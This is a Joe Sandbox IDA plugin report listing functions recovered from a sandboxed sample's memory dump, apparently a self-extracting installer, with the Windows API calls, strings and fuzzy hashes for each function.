Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: CapsDeviceDialogHandleIndirectInfoModuleParamParametersReleaseSystemmemcpy
String ID:
API String ID: 2693764856-0
Opcode ID: 6fe21de5e6cf46c2e38258430ab068c08d1ba9f3266b2be4710a35066139e936
Instruction ID: 8154b001b0011d5121478cb58b91efa441906eea3886e432abe560883a3f5ac4
Opcode Fuzzy Hash: 6fe21de5e6cf46c2e38258430ab068c08d1ba9f3266b2be4710a35066139e936
Instruction Fuzzy Hash: 8421C375941318BFD7215BA1DD48EEB7B7CFF04301F0040B6FA09A2291D7744E948B6A

Function 0040796F Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 0040797F
GetSystemMetrics.USER32(0000000B), ref: 0040799B
GetSystemMetrics.USER32(0000003D), ref: 004079A4
GetSystemMetrics.USER32(0000003E), ref: 004079AC
SelectObject.GDI32(?,?), ref: 004079C9
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 004079E4
SelectObject.GDI32(?,?), ref: 00407A0A
ReleaseDC.USER32(?,?), ref: 00407A19

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: MetricsSystem$ObjectSelect$DrawReleaseText
String ID:
API String ID: 2466489532-0
Opcode ID: 361b9f72db81968066b11de39633dd2aeb039f56a0627fc63b5b1369e6440dec
Instruction ID: 872bb3bd96abf1d963658246664a9f9dec04eac668a7313924c28ae5c7f0044f
Opcode Fuzzy Hash: 361b9f72db81968066b11de39633dd2aeb039f56a0627fc63b5b1369e6440dec
Instruction Fuzzy Hash: FF216871901209AFCB01CF69DD44A9EBFF4FF08360F10C46AE519A72A0D335AA50DF41

Function 00408921 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 102windowCOMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040895B
GetDlgItem.USER32(?,000004B8), ref: 00408979
SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 0040898B
wsprintfW.USER32 ref: 004089A9
??3@YAXPAX@Z.MSVCRT(?), ref: 00408A41

Strings

%d%%, xrefs: 004089A3

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@ItemMessageSendUnothrow_t@std@@@__ehfuncinfo$??2@wsprintf
String ID: %d%%
API String ID: 3753976982-1518462796
Opcode ID: 51ae72c57df79fbb6cbb7e6395a09830993c207f45adbfda5b45f62387b44217
Instruction ID: dc12f65f6354bcef20b20b64e73197b6a82627a21fa16bd919092f53849079ab
Opcode Fuzzy Hash: 51ae72c57df79fbb6cbb7e6395a09830993c207f45adbfda5b45f62387b44217
Instruction Fuzzy Hash: C531B371500208BFCB11AF51DD45EEA7BB9FF48304F10802EF986B62E1DB79A910CB59

Function 00408B38 Relevance: 10.6, APIs: 7, Instructions: 63timethreadinjectionCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000000), ref: 00408B52
KillTimer.USER32(?,00000001), ref: 00408B63
SetTimer.USER32(?,00000001,00000000,00000000), ref: 00408B8D
SuspendThread.KERNEL32(00000270), ref: 00408BA6
ResumeThread.KERNEL32(00000270), ref: 00408BC3
EndDialog.USER32(?,00000000), ref: 00408BE5

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: DialogThreadTimer$KillResumeSuspend
String ID:
API String ID: 4151135813-0
Opcode ID: 636331c51eeec99492c3656744559ca8cb25bf13f1d29267e4cf69c729943fa4
Instruction ID: 672def9565bfc40134271a6b6781851c3b106654d45cfef20a52af227c3b9f34
Opcode Fuzzy Hash: 636331c51eeec99492c3656744559ca8cb25bf13f1d29267e4cf69c729943fa4
Instruction Fuzzy Hash: 101191B4202608EFE7215F52EE85EA7777CFB44745700843EF986A66A1CF396C10DA1D

Function 004041B2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,%%T\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 004041F8
??3@YAXPAX@Z.MSVCRT(?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?,00000000,00404980,?,?), ref: 00404236
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?,00000000), ref: 0040425C
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?), ref: 00404264

Strings

%%T/, xrefs: 00404216
%%T\, xrefs: 004041D8

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@
String ID: %%T/$%%T\
API String ID: 613200358-2679640699
Opcode ID: 32ef79d1291380c273689fbeb54a3f068f011761e48dfc995dcc37c28d559008
Instruction ID: df8026740f1f86ca471eb2ea0e41fa98444a64685e80cf153ceacd7fb444c2e9
Opcode Fuzzy Hash: 32ef79d1291380c273689fbeb54a3f068f011761e48dfc995dcc37c28d559008
Instruction Fuzzy Hash: D411C97190010AAACF05FFA2D856CEDBB78AF14708F10846AB551760E2DF789B95CB48

Function 0040426D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,%%S\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 004042B3
??3@YAXPAX@Z.MSVCRT(?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?,00000000,00404980,?,?), ref: 004042F1
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?,00000000), ref: 00404317
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?), ref: 0040431F

Strings

%%S\, xrefs: 00404293
%%S/, xrefs: 004042D1

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@
String ID: %%S/$%%S\
API String ID: 613200358-358529586
Opcode ID: 234a46bb65b67f966a8e437df7229c99e997b16022daf5c37f9ee439fb3c0353
Instruction ID: 4488bc9e4ce621475e7ac020b16d4e8be87a05eb600b5e71f20f3fc481b48b4f
Opcode Fuzzy Hash: 234a46bb65b67f966a8e437df7229c99e997b16022daf5c37f9ee439fb3c0353
Instruction Fuzzy Hash: 7811C975900109AACF05FFA2D856CEDBB78AF14308F10846AF561760E2DF789B99CB48

Function 00404328 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,%%M\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 0040436E
??3@YAXPAX@Z.MSVCRT(?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?,00000000,00404980,?,?), ref: 004043AC
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?,00000000), ref: 004043D2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?), ref: 004043DA

Strings

%%M/, xrefs: 0040438C
%%M\, xrefs: 0040434E

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@
String ID: %%M/$%%M\
API String ID: 613200358-4143866494
Opcode ID: 912668388eac2bfc377ae5e16b5c219b7d863f1ca1c26d4b178e3f78348507e0
Instruction ID: 1e1ecd5a4810495ff1b5747c8ad1555e4ca49c286c4952b26a2a60c5b9476409
Opcode Fuzzy Hash: 912668388eac2bfc377ae5e16b5c219b7d863f1ca1c26d4b178e3f78348507e0
Instruction Fuzzy Hash: D411C971900109AACF05FFA2D856CEDBB79AF14308F10846AF551760E2DF785A9ACB58

Function 00408504 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00408519
SHBrowseForFolderW.SHELL32(?), ref: 00408532
SHGetPathFromIDListW.SHELL32(00000000,00000000), ref: 0040854E
SHGetMalloc.SHELL32(00000000), ref: 00408578

Part of subcall function 004082F3: GetDlgItem.USER32(?,000004B6), ref: 00408300
Part of subcall function 004082F3: SetFocus.USER32(00000000,?,?,004083E7,000004B6,?), ref: 00408307

Strings

A, xrefs: 0040855F
A, xrefs: 0040852B

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: BrowseFocusFolderFromItemListMallocPathmemset
String ID: A$A
API String ID: 1557639607-3025247501
Opcode ID: 7184c409714950e4399974884f9922c096c63a12bd23a875202a47cc40967fbf
Instruction ID: 8e2b46382c4e0e79c38c40a6d9053323f47f27154f6d6a29afbbbbb9270b0dc0
Opcode Fuzzy Hash: 7184c409714950e4399974884f9922c096c63a12bd23a875202a47cc40967fbf
Instruction Fuzzy Hash: 41114FB1A00204ABCB10DB95DA48BDE77BCAB88701F1400AEE905E7281DB79DE04CB75

Function 00407DAC Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(uxtheme,?,00409133,000004B1,00000000,?,?,?,?,?,00409240), ref: 00407DB4
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 00407DC5
GetWindow.USER32(?,00000005), ref: 00407DDE
GetWindow.USER32(00000000,00000002), ref: 00407DF4

Strings

uxtheme, xrefs: 00407DAD
SetWindowTheme, xrefs: 00407DBF

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: Window$AddressLibraryLoadProc
String ID: SetWindowTheme$uxtheme
API String ID: 324724604-1369271589
Opcode ID: df7da54084a7170c4669871585b62670c16e7ba2a7afe7f20da463cc21b0505e
Instruction ID: 9b0de1ac587a4165001920f6b170f50534138ecb837747bbddd8b6d978bb5341
Opcode Fuzzy Hash: df7da54084a7170c4669871585b62670c16e7ba2a7afe7f20da463cc21b0505e
Instruction Fuzzy Hash: D3F0A732E4672533C232126A6C48FAB769CDF46B51B094136BD04F7390DFA8DC4041ED

Function 0040B7A0 Relevance: 9.1, APIs: 6, Instructions: 133COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000044), ref: 0040B824
??3@YAXPAX@Z.MSVCRT ref: 0040B866
??2@YAPAXI@Z.MSVCRT(?,0000001F), ref: 0040B87C
memmove.MSVCRT(00000000,?,?,?,0000001F), ref: 0040B899
??3@YAXPAX@Z.MSVCRT(?,?,0000001F), ref: 0040B8A6
memmove.MSVCRT(?,?,?,?,?,0000001F), ref: 0040B8C4

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??2@??3@memmove
String ID:
API String ID: 3828600508-0
Opcode ID: 47906053c5a29f528d9a88d94d720d9e3123c9d8a4fc5e07c1a02bdcf041b227
Instruction ID: 99a0ad40a844e9a3ffa9f049326f458531d7c56977f80c19912095adb51eb10a
Opcode Fuzzy Hash: 47906053c5a29f528d9a88d94d720d9e3123c9d8a4fc5e07c1a02bdcf041b227
Instruction Fuzzy Hash: 284159B56003048FCB14DF19D880A57B7E9FF88304F14856EEC4A9B346D779E919CBAA

Function 0040599C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,0041EA30,00000001,0041EA30,0041EA30,00000001,?,00000000), ref: 00405A1E
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0041EA30,;!@InstallEnd@!,00000000,;!@Install@!UTF-8!,0041E464,0041EA30,00000001,?,00000000), ref: 00405A80
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0041EA30,;!@InstallEnd@!,00000000,;!@Install@!UTF-8!,0041E464,0041EA30,00000001,?,00000000), ref: 00405A98

Part of subcall function 004039E7: lstrlenW.KERNEL32(00401A74,00000000,?,?,?,?,?,?,00401A74,?), ref: 004039F4
Part of subcall function 004039E7: GetSystemTimeAsFileTime.KERNEL32(?,00401A74,?,?,?,?,00401A74,?), ref: 00403A6A
Part of subcall function 004039E7: GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00403A71
Part of subcall function 004039E7: ??3@YAXPAX@Z.MSVCRT(?,00401A74,?,?,?,?,00401A74,?), ref: 00403B30

Strings

;!@InstallEnd@!, xrefs: 00405A53
;!@Install@!UTF-8!, xrefs: 00405A39

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@$FileTime$AttributesSystemlstrlen
String ID: ;!@Install@!UTF-8!$;!@InstallEnd@!
API String ID: 4038993085-372238525
Opcode ID: ae470c15fb9ab93de0ad4030f77c14c07a8208b8d7926a28e8ed83b0eb248ccf
Instruction ID: 1d6f72d44ce7b26bafcc2ee4707833dd2b606594c716bb38fa5c6a696ed85d5e
Opcode Fuzzy Hash: ae470c15fb9ab93de0ad4030f77c14c07a8208b8d7926a28e8ed83b0eb248ccf
Instruction Fuzzy Hash: 05311B7490022AAACF05EF92CD828EEBB79FF58318F10042BE810761E1DB795645DE58

Function 00401000 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00401053
wsprintfW.USER32 ref: 00401071
lstrcatW.KERNEL32(?,?), ref: 00401084
ExitProcess.KERNEL32 ref: 004010AC

Strings

0x%p, xrefs: 0040106B

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: wsprintf$ExitProcesslstrcat
String ID: 0x%p
API String ID: 2530384128-1745605757
Opcode ID: 217280ca1667caf64bbadd46d79608ffb89a528de629757afe78e206874d1f67
Instruction ID: 10afd36f4070d89f293b01a92875ce402ef2d19f58a346a7dbf4abb5c9f18492
Opcode Fuzzy Hash: 217280ca1667caf64bbadd46d79608ffb89a528de629757afe78e206874d1f67
Instruction Fuzzy Hash: 531182B5801208EFCB20EFB5DD85DDA73B8AF04304F00447BE645B3191D778AA948B5A

Function 00402E67 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000001,00000000,?,?,?), ref: 00402E98
??3@YAXPAX@Z.MSVCRT(?), ref: 00402EA1

Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD

ExpandEnvironmentStringsW.KERNEL32(SetEnvironment,00000000,00000001,00000001,SetEnvironment), ref: 00402EB9
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00402ED9

Strings

SetEnvironment, xrefs: 00402EA9, 00402EB8

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@$EnvironmentExpandStrings$??2@
String ID: SetEnvironment
API String ID: 612612615-360490078
Opcode ID: a35de80e7cad52e5dc6298b6344b4de1a7c54804515ee2809541825fa383ffde
Instruction ID: 9a1053b96c855abc576ef2a573940a7f22d1fb52882628247968529f0f67b02c
Opcode Fuzzy Hash: a35de80e7cad52e5dc6298b6344b4de1a7c54804515ee2809541825fa383ffde
Instruction Fuzzy Hash: 66015276900104BADB14AB95DD819EEB7BCEF48314F10416BFD01B21D1DB786A408A99

Function 004049A9 Relevance: 7.6, APIs: 5, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0041E3F0,00000020,?,?,?,?,?,00406547,?,?), ref: 004049C2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?,?), ref: 00404A74
??3@YAXPAX@Z.MSVCRT(00406547,?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?), ref: 00404A7C
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?,?), ref: 00404A8B
??3@YAXPAX@Z.MSVCRT(00406547,?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?), ref: 00404A93

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@$lstrlen
String ID:
API String ID: 2031685711-0
Opcode ID: 48a0ad31e595b70fe055f92825f259cf0440ad4ba980cc005dca8c8d37490221
Instruction ID: d6d6aeb9fd97b078be875a6c61f5694a486b541387e48e1a0363308d58f113ad
Opcode Fuzzy Hash: 48a0ad31e595b70fe055f92825f259cf0440ad4ba980cc005dca8c8d37490221
Instruction Fuzzy Hash: 2E21E3B6E40205ABCF206FB5CC029EB77A8EF84355F10447BEE41B72D1E7784D858A99

Function 00408828 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 004081CE: GetSystemMetrics.USER32(0000000B), ref: 004081F6
Part of subcall function 004081CE: GetSystemMetrics.USER32(0000000C), ref: 004081FF

GetSystemMetrics.USER32(00000007), ref: 0040883F
GetSystemMetrics.USER32(00000007), ref: 00408850
??3@YAXPAX@Z.MSVCRT(?,000004B8,?,?), ref: 00408917

Strings

100%% , xrefs: 0040886F, 00408876, 004088CF

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: MetricsSystem$??3@
String ID: 100%%
API String ID: 2562992111-568723177
Opcode ID: 35692a44e7e546f69739d1069c7bb9c29da4a7b1d3d728d8f1a694ecacf6944a
Instruction ID: c0f787396fa6b3de95c2f82887938995bcf82f961e42ceb6ace71c8d1a060617
Opcode Fuzzy Hash: 35692a44e7e546f69739d1069c7bb9c29da4a7b1d3d728d8f1a694ecacf6944a
Instruction Fuzzy Hash: 51318171A007059FCB24EF6ACA459AEB7F4EF54704B00052ED982A72D1DB78FE44CB99

Function 00404505 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00406EB0,00000000,?,ExecuteFile,0040454C,00000000,00000000,00406EB0,?,waitall,00000000,00000000,?,?,0041E9E8), ref: 00404512
lstrlenW.KERNEL32(?,?,?,0041E9E8), ref: 0040451B
_wcsnicmp.MSVCRT ref: 00404527

Strings

ExecuteFile, xrefs: 00404505

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: lstrlen$_wcsnicmp
String ID: ExecuteFile
API String ID: 2823567412-323923146
Opcode ID: 269407e104d2b8646f4c579596136b213b345037a5b1e74df4f09ef425281859
Instruction ID: a2e0a5f2a3f105f817df911ac3b4dcd355adebb597ea1c4786e8ca368391ef02
Opcode Fuzzy Hash: 269407e104d2b8646f4c579596136b213b345037a5b1e74df4f09ef425281859
Instruction Fuzzy Hash: BFE04FF25052156BC6008FA5AC84C5BBBADEAC8356B540877F700E3112E735D8198BA6

Function 004026AB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32,Wow64RevertWow64FsRedirection,00407200,00000000,?,?), ref: 004026BE
GetProcAddress.KERNEL32(00000000), ref: 004026C5

Strings

kernel32, xrefs: 004026B9
Wow64RevertWow64FsRedirection, xrefs: 004026B4

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32
API String ID: 2574300362-3900151262
Opcode ID: 3995c828ef5ea128a58b39da0bfb34db2680510550d7971d05a4d895e470ae21
Instruction ID: 82409627fcb45dd1da2fa5f3e3d8c344d82775180731f09fcf798d9da7421b86
Opcode Fuzzy Hash: 3995c828ef5ea128a58b39da0bfb34db2680510550d7971d05a4d895e470ae21
Instruction Fuzzy Hash: D4D0A7B4593608ABD7001B62EE0CFE276A56B40701F4480356400E00F0CBFD44D1CE1E

Function 004026DF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32,Wow64DisableWow64FsRedirection,00402735,?,0040713A,?,00000000,?,?), ref: 004026F0
GetProcAddress.KERNEL32(00000000), ref: 004026F7

Strings

kernel32, xrefs: 004026EB
Wow64DisableWow64FsRedirection, xrefs: 004026E6

Memory Dump Source

